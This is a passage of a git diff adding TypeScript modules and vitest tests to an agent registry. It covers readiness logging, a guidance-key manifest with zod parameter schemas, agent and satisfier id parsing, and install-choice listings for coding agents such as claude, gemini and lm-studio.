READINESS_LOG_SITES,+ REQUIREMENT_LOG_STATUSES,+ summarizeReadinessForLog,+} from './gate-log.ts';+import { AGENT_MODES, ALL_AGENT_IDS } from './ids.ts';+import { assessReadiness, MET_CONFIDENCES, READINESS_VERDICTS } from './readiness.ts';++describe('readiness log fields', () => {+ it('names the registry agent when the gate recognized it', () => {+ const fields = summarizeReadinessForLog(+ 'acp-thread',+ assessReadiness({ agentId: 'claude', mode: 'acp' }),+ );+ expect(fields.agent).toBe('claude');+ expect(fields.registered).toBe(true);+ expect(fields.site).toBe('acp-thread');+ expect(fields.mode).toBe('acp');+ });++ it('withholds the id of an agent outside the curated set', () => {+ const fields = summarizeReadinessForLog(+ 'acp-thread',+ assessReadiness({ agentId: 'my-secret-side-project-agent', mode: 'acp' }),+ );+ expect(fields.verdict).toBe('not-registered');+ expect(fields.agent).toBeNull();+ expect(fields.registered).toBe(false);+ });++ it('reports both pieces as unassessed when the fold stopped before requirements', () => {+ const fields = summarizeReadinessForLog(+ 'deep-link',+ assessReadiness({ agentId: 'unknown-agent', mode: 'external' }),+ );+ expect(fields.mcp).toBe('not-assessed');+ expect(fields.skill).toBe('not-assessed');+ expect(fields.mcpConfidence).toBeNull();+ expect(fields.skillConfidence).toBeNull();+ });++ it('carries the skill requirement beside the verdict, not folded into it', () => {+ const assessment = assessReadiness({ agentId: 'claude', mode: 'acp' });+ const fields = summarizeReadinessForLog('acp-thread', assessment);+ const skill = assessment.requirements.find((requirement) => requirement.piece === 'skill');+ expect(skill).toBeDefined();+ expect(fields.skill).toBe(skill?.status);+ });++ it('emits nothing but closed-set values for every agent and mode', () => {+ for (const agentId of ALL_AGENT_IDS) {+ for (const mode of AGENT_MODES) {+ const fields = summarizeReadinessForLog('terminal', assessReadiness({ agentId, mode }));+ expect(READINESS_VERDICTS).toContain(fields.verdict);+ expect(READINESS_LOG_SITES).toContain(fields.site);+ expect(AGENT_MODES).toContain(fields.mode);+ expect(REQUIREMENT_LOG_STATUSES).toContain(fields.mcp);+ expect(REQUIREMENT_LOG_STATUSES).toContain(fields.skill);+ for (const confidence of [fields.mcpConfidence, fields.skillConfidence]) {+ if (confidence !== null) expect(MET_CONFIDENCES).toContain(confidence);+ }+ expect(fields.agent === null || ALL_AGENT_IDS.includes(fields.agent)).toBe(true);+ }+ }+ });++ it('reports a mode the agent does not have without inventing requirements', () => {+ const fields = summarizeReadinessForLog(+ 'deep-link',+ assessReadiness({ agentId: 'gemini', mode: 'external' }),+ );+ expect(fields.verdict).toBe('mode-not-available');+ expect(fields.registered).toBe(true);+ expect(fields.mcp).toBe('not-assessed');+ });+});diff --git a/packages/core/src/agent-registry/gate-log.ts b/packages/core/src/agent-registry/gate-log.tsnew file mode 100644index 000000000..27cd89969--- /dev/null+++ b/packages/core/src/agent-registry/gate-log.ts@@ -0,0 +1,64 @@+import type { AgentId, AgentMode, IntegrationPiece } from './ids.ts';+import { isAgentId } from './ids.ts';+import type {+ MetConfidence,+ ReadinessAssessment,+ ReadinessVerdict,+ RequirementStatus,+} from './readiness.ts';++export const READINESS_LOG_SITES = ['acp-thread', 'deep-link', 'terminal'] as const;+export type ReadinessLogSite = (typeof READINESS_LOG_SITES)[number];++export const REQUIREMENT_LOG_STATUSES = [+ 'met',+ 'unmet',+ 'nothing-required',+ 'not-assessed',+] as const;+export type RequirementLogStatus = (typeof REQUIREMENT_LOG_STATUSES)[number];++export interface ReadinessLogFields {+ readonly site: ReadinessLogSite;+ readonly mode: AgentMode;+ readonly verdict: ReadinessVerdict;+ readonly agent: AgentId | null;+ readonly registered: boolean;+ readonly mcp: RequirementLogStatus;+ readonly skill: RequirementLogStatus;+ readonly mcpConfidence: MetConfidence | null;+ readonly skillConfidence: MetConfidence | null;+}++function statusOf(+ assessment: ReadinessAssessment,+ piece: IntegrationPiece,+): { status: RequirementLogStatus; confidence: MetConfidence | null } {+ const requirement = assessment.requirements.find((entry) => entry.piece === piece);+ if (requirement === undefined) return { status: 'not-assessed', confidence: null };+ const status: RequirementStatus = requirement.status;+ return { status, confidence: requirement.confidence };+}++export function summarizeReadinessForLog(+ site: ReadinessLogSite,+ assessment: ReadinessAssessment,+): ReadinessLogFields {+ const agent: AgentId | null =+ isAgentId(assessment.agentId) && assessment.verdict !== 'not-registered'+ ? assessment.agentId+ : null;+ const mcp = statusOf(assessment, 'mcp');+ const skill = statusOf(assessment, 'skill');+ return {+ site,+ mode: assessment.mode,+ verdict: assessment.verdict,+ agent,+ registered: agent !== null,+ mcp: mcp.status,+ skill: skill.status,+ mcpConfidence: mcp.confidence,+ skillConfidence: skill.confidence,+ };+}diff --git a/packages/core/src/agent-registry/guidance.test.ts b/packages/core/src/agent-registry/guidance.test.tsnew file mode 100644index 000000000..4e1bae33c--- /dev/null+++ b/packages/core/src/agent-registry/guidance.test.ts@@ -0,0 +1,150 @@+import { describe, expect, test } from 'vitest';+import { AGENT_REGISTRY } from './agents.ts';+import { CAPABILITY_RECORDS } from './capabilities.ts';+import {+ GUIDANCE_IDS,+ GUIDANCE_KEYS,+ GUIDANCE_NAMESPACES,+ getGuidanceEntry,+ guidanceNamespaceOf,+ guidanceParamNames,+ isGuidanceKey,+} from './guidance.ts';+import type { GuidanceRef } from './schema.ts';+import { CONSENT_CLASSES } from './vocabulary.ts';++function allGuidanceRefs(): { site: string; ref: GuidanceRef }[] {+ const found: { site: string; ref: GuidanceRef }[] = [];+ for (const agent of Object.values(AGENT_REGISTRY)) {+ for (const satisfier of agent.satisfiers) {+ for (const slot of ['guidance', 'followup', 'troubleshooting'] as const) {+ const ref = satisfier[slot];+ if (ref) found.push({ site: `${satisfier.id}#${slot}`, ref });+ }+ }+ for (const [mode, record] of Object.entries(agent.modes)) {+ for (const ref of record.caveats) found.push({ site: `${agent.id}/${mode}#caveat`, ref });+ }+ }+ for (const capability of CAPABILITY_RECORDS) {+ if (capability.guidance)+ found.push({ site: `capability:${capability.id}`, ref: capability.guidance });+ }+ return found;+}++describe('the guidance manifest', () => {+ test('is not empty', () => {+ expect(GUIDANCE_KEYS.length).toBeGreaterThan(0);+ expect(Object.keys(GUIDANCE_IDS)).toHaveLength(GUIDANCE_KEYS.length);+ });++ test('gives every key a parameter schema', () => {+ for (const key of GUIDANCE_KEYS) {+ const entry = GUIDANCE_IDS[key];+ expect(entry, key).toBeDefined();+ expect(typeof entry.params.shape, key).toBe('object');+ expect(getGuidanceEntry(key), key).toBe(entry);+ }+ });++ test('puts every key in one of the three tiers', () => {+ for (const key of GUIDANCE_KEYS) {+ expect(guidanceNamespaceOf(key), key).not.toBeNull();+ }+ expect(guidanceNamespaceOf('nope.something')).toBeNull();+ expect(guidanceNamespaceOf('')).toBeNull();+ });++ test('carries a follow-up key for exactly the consent classes that owe the user a step', () => {+ const owed = CONSENT_CLASSES.filter((consentClass) => consentClass !== 'none');+ const declared = GUIDANCE_KEYS.filter((key) => guidanceNamespaceOf(key) === 'followup');+ expect([...declared].sort()).toEqual(+ owed.map((consentClass) => `followup.${consentClass}`).sort(),+ );+ });++ test('names its parameters in sorted order for a stable comparison', () => {+ expect(guidanceParamNames('troubleshooting.copilot.shared-workspace-config')).toEqual([+ 'agent',+ 'sourceAgent',+ ]);+ expect(guidanceParamNames('guidance.skill.project')).toEqual(['agent']);+ });++ test('rejects a key it does not carry', () => {+ expect(isGuidanceKey('guidance.mcp.user-config')).toBe(true);+ expect(isGuidanceKey('guidance.mcp.made-up')).toBe(false);+ expect(getGuidanceEntry('guidance.mcp.made-up')).toBeUndefined();+ });+});++describe('registry references into the manifest', () => {+ test('there is at least one to check', () => {+ expect(allGuidanceRefs().length).toBeGreaterThan(0);+ });++ test('every reference resolves to a manifest key', () => {+ const unresolved = allGuidanceRefs()+ .filter(({ ref }) => !isGuidanceKey(ref.id))+ .map(({ site, ref }) => `${site} -> ${ref.id}`);+ expect(unresolved).toEqual([]);+ });++ test('every reference supplies exactly the parameters its key declares', () => {+ const mismatched: string[] = [];+ for (const { site, ref } of allGuidanceRefs()) {+ const entry = getGuidanceEntry(ref.id);+ if (!entry) continue;+ const parsed = entry.params.safeParse(ref.params ?? {});+ if (!parsed.success) mismatched.push(`${site} -> ${ref.id}: ${parsed.error.message}`);+ }+ expect(mismatched).toEqual([]);+ });++ test('no manifest key goes unreferenced', () => {+ const referenced = new Set(allGuidanceRefs().map(({ ref }) => String(ref.id)));+ const orphans = GUIDANCE_KEYS.filter((key) => !referenced.has(key));+ expect(orphans).toEqual([]);+ });+});++describe('parameter validation bites', () => {+ const entry = GUIDANCE_IDS['troubleshooting.codex.desktop-project-config'];++ test('accepts the shape the registry supplies', () => {+ expect(entry.params.safeParse({ agent: 'codex', honoredByDesktop: false }).success).toBe(true);+ });++ test('rejects an undeclared parameter rather than dropping it', () => {+ const parsed = entry.params.safeParse({+ agent: 'codex',+ honoredByDesktop: false,+ extra: 'nope',+ });+ expect(parsed.success).toBe(false);+ });++ test('rejects a missing parameter', () => {+ expect(entry.params.safeParse({ agent: 'codex' }).success).toBe(false);+ });++ test('rejects a parameter of the wrong type', () => {+ expect(entry.params.safeParse({ agent: 'codex', honoredByDesktop: 'false' }).success).toBe(+ false,+ );+ });++ test('rejects an agent that is not one of ours', () => {+ expect(+ GUIDANCE_IDS['guidance.skill.project'].params.safeParse({ agent: 'notepad' }).success,+ ).toBe(false);+ });+});++describe('namespaces', () => {+ test('are the prefixes the manifest actually uses', () => {+ const used = new Set(GUIDANCE_KEYS.map((key) => guidanceNamespaceOf(key)));+ expect([...GUIDANCE_NAMESPACES].sort()).toEqual([...used].sort());+ });+});diff --git a/packages/core/src/agent-registry/guidance.ts b/packages/core/src/agent-registry/guidance.tsnew file mode 100644index 000000000..41b3db279--- /dev/null+++ b/packages/core/src/agent-registry/guidance.ts@@ -0,0 +1,64 @@+import { z } from 'zod';+import { AgentIdSchema } from './ids.ts';+import type { ConsentClass } from './vocabulary.ts';++export interface GuidanceEntry {+ readonly params: z.ZodObject;+}++export type FollowupGuidanceKey = `followup.${Exclude<ConsentClass, 'none'>}`;++const agentParam = { agent: AgentIdSchema };++export const GUIDANCE_IDS = {+ 'followup.approve-once': { params: z.strictObject(agentParam) },+ 'followup.enable-manually': { params: z.strictObject(agentParam) },+ 'followup.trust-gated': { params: z.strictObject(agentParam) },++ 'guidance.mcp.user-config': { params: z.strictObject(agentParam) },+ 'guidance.mcp.project-config': { params: z.strictObject(agentParam) },+ 'guidance.mcp.session-injection': { params: z.strictObject(agentParam) },+ 'guidance.mcp.managed-file': { params: z.strictObject(agentParam) },+ 'guidance.skill.project': { params: z.strictObject(agentParam) },+ 'guidance.skill.user': { params: z.strictObject(agentParam) },+ 'guidance.skill.central-store': { params: z.strictObject(agentParam) },++ 'troubleshooting.claude.project-entry-not-approved': { params: z.strictObject(agentParam) },+ 'troubleshooting.claude-desktop.per-tool-approval': { params: z.strictObject(agentParam) },+ 'troubleshooting.cursor.project-entry-not-loaded': { params: z.strictObject(agentParam) },+ 'troubleshooting.codex.desktop-project-config': {+ params: z.strictObject({ ...agentParam, honoredByDesktop: z.boolean() }),+ },+ 'troubleshooting.copilot.shared-workspace-config': {+ params: z.strictObject({ ...agentParam, sourceAgent: AgentIdSchema }),+ },+ 'troubleshooting.openclaw.central-store-missing': { params: z.strictObject(agentParam) },+ 'troubleshooting.pi.folder-trust': { params: z.strictObject(agentParam) },+ 'troubleshooting.lm-studio.config-path-mismatch': { params: z.strictObject(agentParam) },+} as const satisfies Record<string, GuidanceEntry> & Record<FollowupGuidanceKey, GuidanceEntry>;++export type GuidanceKey = keyof typeof GUIDANCE_IDS;++export const GUIDANCE_KEYS: readonly GuidanceKey[] = (+ Object.keys(GUIDANCE_IDS) as GuidanceKey[]+).sort();++export const GUIDANCE_NAMESPACES = ['guidance', 'followup', 'troubleshooting'] as const;+export type GuidanceNamespace = (typeof GUIDANCE_NAMESPACES)[number];++export function isGuidanceKey(value: string): value is GuidanceKey {+ return Object.hasOwn(GUIDANCE_IDS, value);+}++export function getGuidanceEntry(key: string): GuidanceEntry | undefined {+ return isGuidanceKey(key) ? GUIDANCE_IDS[key] : undefined;+}++export function guidanceNamespaceOf(value: string): GuidanceNamespace | null {+ const head = value.split('.')[0];+ return GUIDANCE_NAMESPACES.find((namespace) => namespace === head) ?? null;+}++export function guidanceParamNames(key: GuidanceKey): readonly string[] {+ return Object.keys(GUIDANCE_IDS[key].params.shape).sort();+}diff --git a/packages/core/src/agent-registry/ids.test.ts b/packages/core/src/agent-registry/ids.test.tsnew file mode 100644index 000000000..be26089d6--- /dev/null+++ b/packages/core/src/agent-registry/ids.test.ts@@ -0,0 +1,68 @@+import { describe, expect, it } from 'vitest';+import { ALL_EDITOR_IDS } from '../constants/editors.ts';+import {+ AGENT_MODES,+ AgentIdSchema,+ ALL_AGENT_IDS,+ isAgentId,+ parseSatisfierId,+ SatisfierIdSchema,+ satisfierId,+} from './ids.ts';++describe('agent ids', () => {+ it('covers every editor plus gemini and nothing else', () => {+ expect([...ALL_AGENT_IDS]).toEqual([...ALL_EDITOR_IDS, 'gemini']);+ expect(ALL_AGENT_IDS).toHaveLength(12);+ });++ it('keeps the schema value-equal to the derived list', () => {+ expect([...AgentIdSchema.options]).toEqual([...ALL_AGENT_IDS]);+ });++ it('recognizes a registry agent and rejects a stranger', () => {+ expect(isAgentId('claude')).toBe(true);+ expect(isAgentId('gemini')).toBe(true);+ expect(isAgentId('some-long-tail-acp-agent')).toBe(false);+ });++ it('has exactly the three modes OK hands work over', () => {+ expect([...AGENT_MODES]).toEqual(['acp', 'terminal', 'external']);+ });+});++describe('satisfier ids', () => {+ it('reads as agent/piece/scope/kind', () => {+ const id = satisfierId({+ agent: 'claude',+ piece: 'mcp',+ scope: 'project',+ kind: 'config-entry',+ });+ expect(id).toBe('claude/mcp/project/config-entry');+ });++ it('round-trips back into its parts', () => {+ const parts = {+ agent: 'lm-studio',+ piece: 'mcp',+ scope: 'user',+ kind: 'config-entry',+ } as const;+ expect(parseSatisfierId(satisfierId(parts))).toEqual(parts);+ });++ it('refuses an id whose parts are not registry vocabulary', () => {+ expect(parseSatisfierId('not-an-agent/mcp/project/config-entry')).toBeNull();+ expect(parseSatisfierId('claude/tools/project/config-entry')).toBeNull();+ expect(parseSatisfierId('claude/mcp/somewhere/config-entry')).toBeNull();+ expect(parseSatisfierId('claude/mcp/project/user-mediated-handoff')).toBeNull();+ expect(parseSatisfierId('claude/mcp/project')).toBeNull();+ });++ it('accepts only the four-part shape at the schema boundary', () => {+ expect(SatisfierIdSchema.safeParse('claude/mcp/project/config-entry').success).toBe(true);+ expect(SatisfierIdSchema.safeParse('claude/mcp/project').success).toBe(false);+ expect(SatisfierIdSchema.safeParse('Claude/MCP/Project/Config').success).toBe(false);+ });+});diff --git a/packages/core/src/agent-registry/ids.ts b/packages/core/src/agent-registry/ids.tsnew file mode 100644index 000000000..a994d2630--- /dev/null+++ b/packages/core/src/agent-registry/ids.ts@@ -0,0 +1,103 @@+import { z } from 'zod';+import { ALL_EDITOR_IDS, type EditorId } from '../constants/editors.ts';+import { TERMINAL_CLI_IDS } from '../handoff/terminal-launch.ts';+import type { HandoffTarget } from '../handoff/types.ts';+import { SatisfierKindSchema } from './vocabulary.ts';++export type AgentId = EditorId | 'gemini';++export const ALL_AGENT_IDS = [...ALL_EDITOR_IDS, 'gemini'] as const satisfies readonly AgentId[];++export const AgentIdSchema = z.enum(ALL_AGENT_IDS);++export function isAgentId(value: string): value is AgentId {+ return (ALL_AGENT_IDS as readonly string[]).includes(value);+}++export const AGENT_MODES = ['acp', 'terminal', 'external'] as const;+export const AgentModeSchema = z.enum(AGENT_MODES);+export type AgentMode = z.infer<typeof AgentModeSchema>;++export const ACP_HARNESS_CLI_IDS = [...TERMINAL_CLI_IDS, 'gemini'] as const;+export const AcpHarnessCliIdSchema = z.enum(ACP_HARNESS_CLI_IDS);+export type AcpHarnessCliId = z.infer<typeof AcpHarnessCliIdSchema>;++export const HANDOFF_TARGET_IDS = [+ 'claude-cowork',+ 'claude-code',+ 'codex',+ 'cursor',+ 'copilot',+ 'opencode',+ 'pi',+ 'antigravity',+ 'openclaw',+ 'hermes',+] as const satisfies readonly HandoffTarget[];+export const HandoffTargetIdSchema = z.enum(HANDOFF_TARGET_IDS);++export const INTEGRATION_PIECES = ['mcp', 'skill'] as const;+export const IntegrationPieceSchema = z.enum(INTEGRATION_PIECES);+export type IntegrationPiece = z.infer<typeof IntegrationPieceSchema>;++export const SATISFIER_SCOPES = ['project', 'user', 'session'] as const;+export const SatisfierScopeSchema = z.enum(SATISFIER_SCOPES);+export type SatisfierScope = z.infer<typeof SatisfierScopeSchema>;++export type SatisfierId = string & { readonly __brand: 'SatisfierId' };++export type PathId = string & { readonly __brand: 'PathId' };++export type GuidanceId = string & { readonly __brand: 'GuidanceId' };++const SATISFIER_ID_PATTERN = /^[a-z0-9-]+\/[a-z0-9-]+\/[a-z0-9-]+\/[a-z0-9-]+$/;++export const SatisfierIdSchema = z+ .string()+ .regex(SATISFIER_ID_PATTERN)+ .transform((value) => value as SatisfierId);++export const PathIdSchema = z+ .string()+ .min(1)+ .transform((value) => value as PathId);++export const GuidanceIdSchema = z+ .string()+ .min(1)+ .transform((value) => value as GuidanceId);++export function satisfierId(parts: {+ agent: AgentId;+ piece: IntegrationPiece;+ scope: SatisfierScope;+ kind: z.infer<typeof SatisfierKindSchema>;+}): SatisfierId {+ return `${parts.agent}/${parts.piece}/${parts.scope}/${parts.kind}` as SatisfierId;+}++export function parseSatisfierId(id: string): {+ agent: AgentId;+ piece: IntegrationPiece;+ scope: SatisfierScope;+ kind: z.infer<typeof SatisfierKindSchema>;+} | null {+ const [agent, piece, scope, kind] = id.split('/');+ if (agent === undefined || piece === undefined || scope === undefined || kind === undefined) {+ return null;+ }+ if (!isAgentId(agent)) return null;+ const parsedPiece = IntegrationPieceSchema.safeParse(piece);+ const parsedScope = SatisfierScopeSchema.safeParse(scope);+ const parsedKind = SatisfierKindSchema.safeParse(kind);+ if (!parsedPiece.success || !parsedScope.success || !parsedKind.success) return null;+ return { agent, piece: parsedPiece.data, scope: parsedScope.data, kind: parsedKind.data };+}++export function pathId(value: string): PathId {+ return value as PathId;+}++export function guidanceId(value: string): GuidanceId {+ return value as GuidanceId;+}diff --git a/packages/core/src/agent-registry/index.ts b/packages/core/src/agent-registry/index.tsnew file mode 100644index 000000000..13797b396--- /dev/null+++ b/packages/core/src/agent-registry/index.ts@@ -0,0 +1,257 @@+export {+ AGENT_REGISTRY,+ ALL_SATISFIERS,+ getAgentRecord,+ getSatisfierRecord,+} from './agents.ts';+export {+ APPLY_ERROR_IDS,+ type AppliedStep,+ type ApplyErrorId,+ type ApplyReport,+ type ExecutedOutcome,+ executePlan,+ type StepExecutor,+} from './apply.ts';+export {+ CAPABILITY_IDS,+ CAPABILITY_RECORDS,+ getCapabilityRecord,+} from './capabilities.ts';+export {+ type BuildConnectionsViewInput,+ buildConnectionsView,+ type ConnectionCell,+ type ConnectionRow,+ type ConnectionScopeGroup,+ type ConnectionsView,+} from './connections.ts';+export {+ ACP_AGENT_EDITOR_ID_MAP,+ ACP_AGENT_HARNESS_CLI_MAP,+ ACP_FEATURED_AGENT_IDS,+ ACP_VERIFIED_POSTURE_MAP,+ agentIdForAcpAgent,+ agentIdForHandoffTarget,+ agentIdForTerminalCli,+ CONNECTION_ROW_AGENT_IDS,+ getAcpFacet,+ KNOWN_HANDOFF_TARGETS,+ PROJECT_MCP_CONSENT_CLASS,+ projectMcpConsentClass,+ VISIBLE_HANDOFF_TARGETS,+} from './derived-tables.ts';+export {+ type AgentFold,+ BLOCKED_REASONS,+ type BlockedReason,+ type PrerequisiteBlocker,+ requiresExplicitConsent,+ resolveAgentFold,+ resolveBlockedReason,+ resolveSurfaceState,+ statePolicyFor,+ unmetPrerequisites,+} from './fold.ts';+export {+ READINESS_LOG_SITES,+ REQUIREMENT_LOG_STATUSES,+ type ReadinessLogFields,+ type ReadinessLogSite,+ type RequirementLogStatus,+ summarizeReadinessForLog,+} from './gate-log.ts';+export {+ type FollowupGuidanceKey,+ GUIDANCE_IDS,+ GUIDANCE_KEYS,+ GUIDANCE_NAMESPACES,+ type GuidanceEntry,+ type GuidanceKey,+ type GuidanceNamespace,+ getGuidanceEntry,+ guidanceNamespaceOf,+ guidanceParamNames,+ isGuidanceKey,+} from './guidance.ts';+export {+ ACP_HARNESS_CLI_IDS,+ type AcpHarnessCliId,+ AcpHarnessCliIdSchema,+ AGENT_MODES,+ type AgentId,+ AgentIdSchema,+ type AgentMode,+ AgentModeSchema,+ ALL_AGENT_IDS,+ type GuidanceId,+ GuidanceIdSchema,+ guidanceId,+ HANDOFF_TARGET_IDS,+ HandoffTargetIdSchema,+ INTEGRATION_PIECES,+ type IntegrationPiece,+ IntegrationPieceSchema,+ isAgentId,+ type PathId,+ PathIdSchema,+ parseSatisfierId,+ pathId,+ SATISFIER_SCOPES,+ type SatisfierId,+ SatisfierIdSchema,+ type SatisfierScope,+ SatisfierScopeSchema,+ satisfierId,+} from './ids.ts';+export {+ INSTALL_CHOICE_STATUSES,+ type InstallChoice,+ type InstallChoiceContext,+ type InstallChoiceStatus,+ type InstallChoices,+ listInstallChoices,+} from './install-choices.ts';+export {+ type ApplyIntent,+ INTENT_DESIRES,+ type IntentDesire,+ type IntentPlan,+ PLAN_CONFLICT_KINDS,+ PLAN_STEP_ORIGINS,+ type PlanConflict,+ type PlanConflictKind,+ type PlannedStep,+ type PlanStepOrigin,+ planIntents,+} from './intents.ts';+export {+ CENTRAL_SKILL_STORE_PATH_ID,+ EDITOR_PATH_KINDS,+ type EditorPathKind,+ editorPathId,+ parsePathId,+ type ResolvedPathId,+} from './paths.ts';+export {+ MODE_GATE_POLICY,+ MODE_VISIBILITY_POLICY,+ type ModeGatePolicyRow,+ type ModeVisibilityPolicyRow,+ POLICY_MODE_KEYS,+ POLICY_STATE_KEYS,+ STATE_POLICY,+ type StatePolicyRow,+ UNPROBED_RESOLUTIONS,+ type UnprobedResolution,+ UnprobedResolutionSchema,+ VISIBILITY_SIGNALS,+ type VisibilitySignal,+ VisibilitySignalSchema,+} from './policy.ts';+export {+ type BuildProbeSnapshotInput,+ buildProbeSnapshot,+ checkProbeCoverage,+ collectProbeCoverage,+ PROBEABLE_SATISFIER_IDS,+ type ProbeAnswer,+ type ProbeCoverageReport,+ type ProbeResolver,+ type ProbeWorkItem,+ planProbes,+} from './probe-contract.ts';+export {+ type AssessReadinessInput,+ assessReadiness,+ isRegisteredAgent,+ MET_CONFIDENCES,+ type MetConfidence,+ type ModeVisibility,+ READINESS_VERDICTS,+ REQUIREMENT_STATUSES,+ type ReadinessAssessment,+ type ReadinessVerdict,+ type RequirementAssessment,+ type RequirementStatus,+ type SatisfierAssessment,+} from './readiness.ts';+export {+ type AcpFacet,+ AcpFacetSchema,+ type AgentRecord,+ AgentRecordSchema,+ type Attestation,+ AttestationSchema,+ AUDIENCE_CLASSES,+ type AudienceClass,+ AudienceClassSchema,+ type CapabilityRecord,+ CapabilityRecordSchema,+ EditorIdSchema,+ EVIDENCE_KINDS,+ type EvidenceRef,+ EvidenceRefSchema,+ type ExternalFacet,+ ExternalFacetSchema,+ type GuidanceRef,+ GuidanceRefSchema,+ INSTALLABILITY_KINDS,+ type Installability,+ InstallabilitySchema,+ type ModeRecord,+ ModeRecordSchema,+ NOT_INSTALLABLE_REASONS,+ type ProbeDeclaration,+ ProbeDeclarationSchema,+ type RequirementRecord,+ RequirementRecordSchema,+ type SatisfierRecord,+ SatisfierRecordSchema,+ type TerminalFacet,+ TerminalFacetSchema,+ UNPROBEABLE_REASONS,+ VERIFIED_POSTURES,+ type VerifiedAgainst,+ VerifiedAgainstSchema,+ type VerifiedPosture,+} from './schema.ts';+export {+ type DetectionSnapshot,+ EMPTY_DETECTION_SNAPSHOT,+ EMPTY_PROBE_SNAPSHOT,+ ENV_TIERS,+ type EnvTier,+ emptyProbeSnapshot,+ type HostSnapshot,+ isAgentDetected,+ type ProbeSnapshot,+ readSatisfierProbe,+ type SatisfierProbe,+} from './snapshot.ts';+export {+ APPLY_ACTIONS,+ type ApplyAction,+ ApplyActionSchema,+ CONSENT_CLASSES,+ type ConsentClass,+ ConsentClassSchema,+ DISK_BACKED_SATISFIER_KINDS,+ EXCEPTION_LEVELS,+ type ExceptionLevel,+ ExceptionLevelSchema,+ isKnownSurfaceState,+ KNOWN_SURFACE_STATES,+ type KnownSurfaceState,+ PROBE_STRICTNESS_KEYS,+ type ProbeStrictness,+ ProbeStrictnessSchema,+ REQUIREMENT_LEVELS,+ type RequirementLevel,+ RequirementLevelSchema,+ SATISFIER_KINDS,+ type SatisfierKind,+ SatisfierKindSchema,+ type SurfaceState,+ SurfaceStateSchema,+} from './vocabulary.ts';diff --git a/packages/core/src/agent-registry/install-choices.test.ts b/packages/core/src/agent-registry/install-choices.test.tsnew file mode 100644index 000000000..8123c9999--- /dev/null+++ b/packages/core/src/agent-registry/install-choices.test.ts@@ -0,0 +1,282 @@+import { describe, expect, it } from 'vitest';+import {+ AGENT_REGISTRY,+ type DetectionSnapshot,+ EMPTY_DETECTION_SNAPSHOT,+ EMPTY_PROBE_SNAPSHOT,+ type InstallChoice,+ type InstallChoices,+ KNOWN_SURFACE_STATES,+ listInstallChoices,+ type ProbeSnapshot,+ STATE_POLICY,+ type SurfaceState,+} from './index.ts';++function snapshotOf(states: Record<string, SurfaceState>): ProbeSnapshot {+ return {+ env: 'desktop',+ satisfiers: Object.fromEntries(Object.entries(states).map(([id, state]) => [id, { state }])),+ };+}++function probedDetection(detected: DetectionSnapshot['detected']): DetectionSnapshot {+ return { detected, probed: true };+}++function choiceFor(result: InstallChoices, satisfierId: string): InstallChoice {+ const choice = result.choices.find((candidate) => candidate.satisfierId === satisfierId);+ if (choice === undefined) throw new Error(`no choice for ${satisfierId}`);+ return choice;+}++const CLAUDE_PROJECT_MCP = 'claude/mcp/project/config-entry';+const CLAUDE_USER_MCP = 'claude/mcp/user/config-entry';+const COPILOT_PROJECT_SKILL = 'copilot/skill/project/skill-bundle-copy';+const GEMINI_SESSION_MCP = 'gemini/mcp/session/session-injection';+const HERMES_USER_MCP = 'hermes/mcp/user/config-entry';+const LM_STUDIO_USER_MCP = 'lm-studio/mcp/user/config-entry';++describe('what a choice carries', () => {+ it('names the audience an artifact serves once it exists', () => {+ const result = listInstallChoices('claude', 'mcp');++ expect(choiceFor(result, CLAUDE_USER_MCP).audience).toBe('this-user');+ expect(choiceFor(result, CLAUDE_PROJECT_MCP).audience).toBe('this-project');+ });++ it('carries the installability of every option', () => {+ const claude = listInstallChoices('claude', 'mcp');+ for (const choice of claude.choices) {+ expect(choice.installability).toBe('installable');+ }+ expect(+ choiceFor(listInstallChoices('lm-studio', 'mcp'), LM_STUDIO_USER_MCP).installability,+ ).toBe('not-installable');+ });++ it('carries the caveat guidance for what the user still owes and what to try', () => {+ const project = choiceFor(listInstallChoices('claude', 'mcp'), CLAUDE_PROJECT_MCP);++ expect(project.consentClass).toBe('approve-once');+ expect(project.caveats.map((ref) => ref.id)).toEqual([+ 'followup.approve-once',+ 'troubleshooting.claude.project-entry-not-approved',+ ]);+ });++ it('leaves caveats an empty array rather than omitting it', () => {+ const user = choiceFor(listInstallChoices('claude', 'mcp'), CLAUDE_USER_MCP);++ expect(user.caveats).toEqual([]);+ });++ it('says which other agents would read the same artifact', () => {+ const project = choiceFor(listInstallChoices('claude', 'mcp'), CLAUDE_PROJECT_MCP);++ expect(project.sharedWith).toEqual(['copilot']);+ });+});++describe('the claude chooser', () => {+ it('offers exactly two options and highlights neither', () => {+ const result = listInstallChoices('claude', 'mcp');++ expect(result.status).toBe('offer');+ expect(result.choices.map((choice) => choice.satisfierId)).toEqual([+ CLAUDE_USER_MCP,+ CLAUDE_PROJECT_MCP,+ ]);+ expect(result.choices.some((choice) => choice.preferred)).toBe(false);+ });++ it('does not offer the session injection as a third option', () => {+ const result = listInstallChoices('claude', 'mcp');++ expect(result.choices.map((choice) => choice.kind)).toEqual(['config-entry', 'config-entry']);+ });+});++describe('an agent whose piece is handed over by the session', () => {+ it('returns gemini one non-installable injection option', () => {+ const result = listInstallChoices('gemini', 'mcp');++ expect(result.status).toBe('handled');+ expect(result.choices).toHaveLength(1);+ const injection = choiceFor(result, GEMINI_SESSION_MCP);+ expect(injection.kind).toBe('session-injection');+ expect(injection.installability).toBe('not-installable');+ expect(injection.notInstallableReason).toBe('session-scoped');+ expect(injection.installable).toBe(false);+ });+});++describe('an agent OK cannot install for', () => {+ it("records lm-studio's reason as the missing non-interactive verb", () => {+ const choice = choiceFor(listInstallChoices('lm-studio', 'mcp'), LM_STUDIO_USER_MCP);++ expect(choice.installability).toBe('not-installable');+ expect(choice.notInstallableReason).toBe('no-non-interactive-verb');+ });++ it('does not blame a missing CLI or a missing URL scheme', () => {+ const choice = choiceFor(listInstallChoices('lm-studio', 'mcp'), LM_STUDIO_USER_MCP);++ expect(choice.notInstallableReason).not.toBe('no-surface');+ expect(choice.notInstallableReason).not.toBe('session-scoped');+ });++ it('still offers the option so the chooser can explain it', () => {+ const result = listInstallChoices('lm-studio', 'mcp');++ expect(result.status).toBe('offer');+ expect(result.choices).toHaveLength(1);+ });+});++describe('present but not installable', () => {+ it('is present and blocked when the agent is not on this machine', () => {+ const result = listInstallChoices('hermes', 'mcp', {+ probes: snapshotOf({ [HERMES_USER_MCP]: 'satisfied' }),+ detection: probedDetection(['claude']),+ });++ const choice = choiceFor(result, HERMES_USER_MCP);+ expect(choice.present).toBe(true);+ expect(choice.installable).toBe(false);+ expect(choice.blockedReason).toBe('agent-undetected');+ });++ it('stays installable while reporting what it still needs', () => {+ const result = 